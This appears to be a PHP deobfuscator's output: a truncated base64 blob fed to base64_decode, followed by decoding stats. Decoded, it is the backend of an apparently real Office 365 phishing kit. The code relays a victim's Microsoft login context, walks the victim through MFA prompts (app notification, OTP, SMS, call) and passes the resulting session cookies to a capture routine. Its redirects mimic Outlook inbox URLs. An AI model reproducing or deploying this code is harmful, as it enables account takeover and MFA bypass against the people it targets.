VFsndG9rZW4nXSksIHRydWUpOw0KICAgICRiZyA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydiZyddKTsNCiAgICAkbG9nbyA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dvJ10pOw0KICAgICRtZXRob2QgPSAkX1BPU1RbJ21ldGhvZCddOw0KICAgICR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQogICAgJGtleSA9ICRfUE9TVFsna2V5J107DQoNCiAgICAkcmVkaXJlY3QgPSAnJzsNCiAgICBpZiAoJG1ldGhvZCA9PSAnUGhvbmVBcHBOb3RpZmljYXRpb24nKSB7DQogICAgICAgICRyZWRpcmVjdCA9ICdwaG9uZWFwcG5vdGlmJzsNCiAgICB9IGVsc2UgaWYgKCRtZXRob2QgPT0gJ1Bob25lQXBwT1RQJykgew0KICAgICAgICAkcmVkaXJlY3QgPSAncGhvbmVhcHBvdHAnOw0KICAgIH0gZWxzZSBpZiAoJG1ldGhvZCA9PSAnT25lV2F5U01TJykgew0KICAgICAgICAkcmVkaXJlY3QgPSAnc21zJzsNCiAgICB9IGVsc2UgaWYgKCRtZXRob2QgPT0gJ1R3b1dheVZvaWNlTW9iaWxlJykgew0KICAgICAgICAkcmVkaXJlY3QgPSAndHdvYXdheXNtcyc7DQogICAgfQ0KDQogICAgJGJlZ2luQXV0aCA9IGJlZ2luQXV0aE9mZmljZSgkbWV0aG9kLCAkdG9rZW5bJ2N0eCddLCAkdG9rZW5bJ2Zsb3dUb2tlbiddLCAkdG9rZW5bJ2NhbmFyeSddLCAkdG9rZW5bJ2Nvb2tpZSddKTsNCg0KICAgIGlmICgkYmVnaW5BdXRoWydTdWNjZXNzJ10pIHsNCiAgICAgICAgJHRva2VuID0gYmFzZTY0X2VuY29kZShqc29uX2VuY29kZShbDQogICAgICAgICAgICAnY3R4JyA9PiAkYmVnaW5BdXRoWydDdHgnXSwNCiAgICAgICAgICAgICdmbG93VG9rZW4nID0+ICRiZWdpbkF1dGhbJ0Zsb3dUb2tlbiddLA0KICAgICAgICAgICAgJ2Nvb2tpZScgPT4gJHRva2VuWydjb29raWUnXSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICRtZXRob2QsDQogICAgICAgICAgICAnc2Vzc2lvbicgPT4gJGJlZ2luQXV0aFsnU2Vzc2lvbklkJ10NCiAgICAgICAgXSkpOw0KDQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWw0KICAgICAgICAgICAgJ3N0YXR1cycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdkYXRhJyA9PiAkdG9rZW4sDQogICAgICAgICAgICAncmVkaXJlY3QnID0+ICI/JHJlZGlyZWN0JnVzZXI9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSRiZyZsb2dvPSRsb2dvJnRva2VuPSR0b2tlbiZrZXk9JGtleSINCiAgICAgICAgXSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnVmVyaWZpY2F0aW9uIHJlcXVlc3QgZmFpbGVkJ10pOw0KICAgIH0NCn0gZWxzZSBpZiAoJGFjdGlvbiA9PSAnY2hlY2tWZXJpZnknKSB7DQogICAgJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiAgICAkdG9rZW4gPSBqc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsndG9rZW4nXSksIHRydWUpOw0KDQogICAgaWYgKCRfUE9TVFsnc2VydmljZSddID09ICdub3RpZicpIHsNCiAgICAgICAgJGVuZEF1dGggPSBFbmRBdXRoT2ZmaWNlKCRfUE9TVFsndG9rZW4nXSk7DQogICAgICAgICRuZXdUb2tlbiA9IGJhc2U2NF9lbmNvZGUoanNvbl9lbmNvZGUoWw0KICAgICAgICAgICAgJ2N0eCcgPT4gJGVuZEF1dGhbJ0N0eCddLA0KICAgICAgICAgICAgJ2Zsb3dUb2tlbicgPT4gJGVuZEF1dGhbJ0Zsb3dUb2tlbiddLA0KICAgICAgICAgICAgJ2Nvb2tpZScgPT4gJHRva2VuWydjb29raWUnXSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICR0b2tlblsnbWV0aG9kJ10sDQogICAgICAgICAgICAnc2Vzc2lvbicgPT4gJGVuZEF1dGhbJ1Nlc3Npb25JZCddDQogICAgICAgIF0pKTsNCiAgICAgICAgaWYgKCRlbmRBdXRoWydTdWNjZXNzJ10pIHsNCiAgICAgICAgICAgIHByb2Nlc3NBdXRoT2ZmaWNlKCRlbmRBdXRoLCAkdXNlciwgJHRva2VuWydjb29raWUnXSwgJF9QT1NUWydrZXknXSk7DQoNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWw0KICAgICAgICAgICAgICAgICdzdGF0dXMnID0+IHRydWUsDQogICAgICAgICAgICAgICAgJ3JlZGlyZWN0JyA9PiAiLi4vaW5kZXgucGhwP3N1Y2Nlc3MmaWQ9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnYmcnXSkgLiAiJmxvZ289IiAuIGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dvJ10pDQogICAgICAgICAgICBdKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ1ZlcmlmaWNhdGlvbiBmYWlsZWQnLCAndG9rZW4nID0+ICRuZXdUb2tlbl0pOw0KICAgICAgICB9DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3NlcnZpY2UnXSA9PSAnc21zJykgew0KICAgICAgICAkZW5kQXV0aCA9IEVuZEF1dGhPZmZpY2UoJF9QT1NUWyd0b2tlbiddLCAkX1BPU1RbJ290YyddKTsNCiAgICAgICAgJG5ld1Rva2VuID0gYmFzZTY0X2VuY29kZShqc29uX2VuY29kZShbDQogICAgICAgICAgICAnY3R4JyA9PiAkZW5kQXV0aFsnQ3R4J10sDQogICAgICAgICAgICAnZmxvd1Rva2VuJyA9PiAkZW5kQXV0aFsnRmxvd1Rva2VuJ10sDQogICAgICAgICAgICAnY29va2llJyA9PiAkdG9rZW5bJ2Nvb2tpZSddLA0KICAgICAgICAgICAgJ21ldGhvZCcgPT4gJHRva2VuWydtZXRob2QnXSwNCiAgICAgICAgICAgICdzZXNzaW9uJyA9PiAkZW5kQXV0aFsnU2Vzc2lvbklkJ10NCiAgICAgICAgXSkpOw0KICAgICAgICBpZiAoJGVuZEF1dGhbJ1N1Y2Nlc3MnXSkgew0KICAgICAgICAgICAgcHJvY2Vzc0F1dGhPZmZpY2UoJGVuZEF1dGgsICR1c2VyLCAkdG9rZW5bJ2Nvb2tpZSddLCAkX1BPU1RbJ2tleSddKTsNCg0KICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogaW5kZXgucGhwP3N1Y2Nlc3MmaWQ9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnYmcnXSkgLiAiJmxvZ289IiAuIGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dvJ10pKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IHZlcmlmaWNhdGlvbi8/c21zJnVzZXI9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnYmcnXSkgLiAiJmxvZ289IiAuIGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dvJ10pIC4gIiZ0b2tlbj0kbmV3VG9rZW4mZXJyb3Ima2V5PSIgLiAkX1BPU1RbJ2tleSddKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydzZXJ2aWNlJ10gPT0gJ2NvZGUnKSB7DQogICAgICAgICRlbmRBdXRoID0gRW5kQXV0aE9mZmljZSgkX1BPU1RbJ3Rva2VuJ10sICRfUE9TVFsnb3RjJ10pOw0KICAgICAgICAkbmV3VG9rZW4gPSBiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKFsNCiAgICAgICAgICAgICdjdHgnID0+ICRlbmRBdXRoWydDdHgnXSwNCiAgICAgICAgICAgICdmbG93VG9rZW4nID0+ICRlbmRBdXRoWydGbG93VG9rZW4nXSwNCiAgICAgICAgICAgICdjb29raWUnID0+ICR0b2tlblsnY29va2llJ10sDQogICAgICAgICAgICAnbWV0aG9kJyA9PiAkdG9rZW5bJ21ldGhvZCddLA0KICAgICAgICAgICAgJ3Nlc3Npb24nID0+ICRlbmRBdXRoWydTZXNzaW9uSWQnXQ0KICAgICAgICBdKSk7DQogICAgICAgIGlmICgkZW5kQXV0aFsnU3VjY2VzcyddKSB7DQogICAgICAgICAgICBwcm9jZXNzQXV0aE9mZmljZSgkZW5kQXV0aCwgJHVzZXIsICR0b2tlblsnY29va2llJ10sICRfUE9TVFsna2V5J10pOw0KDQogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiBpbmRleC5waHA/c3VjY2VzcyZpZD0kdXNlciYucmFuZD0xM0luYm94TGlnaHQuYXNweCZuPTEyNTI4OTk2NDImZmlkPTEmZmF2PTEmYmc9IiAuIGJhc2U2NF9lbmNvZGUoJF9QT1NUWydiZyddKSAuICImbG9nbz0iIC4gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ2xvZ28nXSkpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogdmVyaWZpY2F0aW9uLz9waG9uZWFwcG90cCZ1c2VyPSR1c2VyJi5yYW5kPTEzSW5ib3hMaWdodC5hc3B4Jm49MTI1Mjg5OTY0MiZmaWQ9MSZmYXY9MSZiZz0iIC4gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ2JnJ10pIC4gIiZsb2dvPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnbG9nbyddKSAuICImdG9rZW49JG5ld1Rva2VuJmVycm9yJmtleT0iIC4gJF9QT1NUWydrZXknXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnc2VydmljZSddID09ICdjYWxsJykgew0KICAgICAgICAkZW5kQXV0aCA9IEVuZEF1dGhPZmZpY2UoJF9QT1NUWyd0b2tlbiddLCAnJyk7DQogICAgICAgICRuZXdUb2tlbiA9IGJhc2U2NF9lbmNvZGUoanNvbl9lbmNvZGUoWw0KICAgICAgICAgICAgJ2N0eCcgPT4gJGVuZEF1dGhbJ0N0eCddLA0KICAgICAgICAgICAgJ2Zsb3dUb2tlbicgPT4gJGVuZEF1dGhbJ0Zsb3dUb2tlbiddLA0KICAgICAgICAgICAgJ2Nvb2tpZScgPT4gJHRva2VuWydjb29raWUnXSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICR0b2tlblsnbWV0aG9kJ10sDQogICAgICAgICAgICAnc2Vzc2lvbicgPT4gJGVuZEF1dGhbJ1Nlc3Npb25JZCddDQogICAgICAgIF0pKTsNCiAgICAgICAgaWYgKCRlbmRBdXRoWydTdWNjZXNzJ10pIHsNCiAgICAgICAgICAgIHByb2Nlc3NBdXRoT2ZmaWNlKCRlbmRBdXRoLCAkdXNlciwgJHRva2VuWydjb29raWUnXSwgJF9QT1NUWydrZXknXSk7DQoNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWw0KICAgICAgICAgICAgICAgICdzdGF0dXMnID0+IHRydWUsDQogICAgICAgICAgICAgICAgJ3JlZGlyZWN0JyA9PiAiLi4vaW5kZXgucGhwP3N1Y2Nlc3MmaWQ9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnYmcnXSkgLiAiJmxvZ289IiAuIGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dvJ10pDQogICAgICAgICAgICBdKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ1ZlcmlmaWNhdGlvbiBmYWlsZWQnLCAndG9rZW4nID0+ICRuZXdUb2tlbl0pOw0KICAgICAgICB9DQogICAgfQ0KfQ0K")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 3eacd029b423e8e6c8e90b492e3ce4be |
Eval Count | 1 |
Decode Time | 95 ms |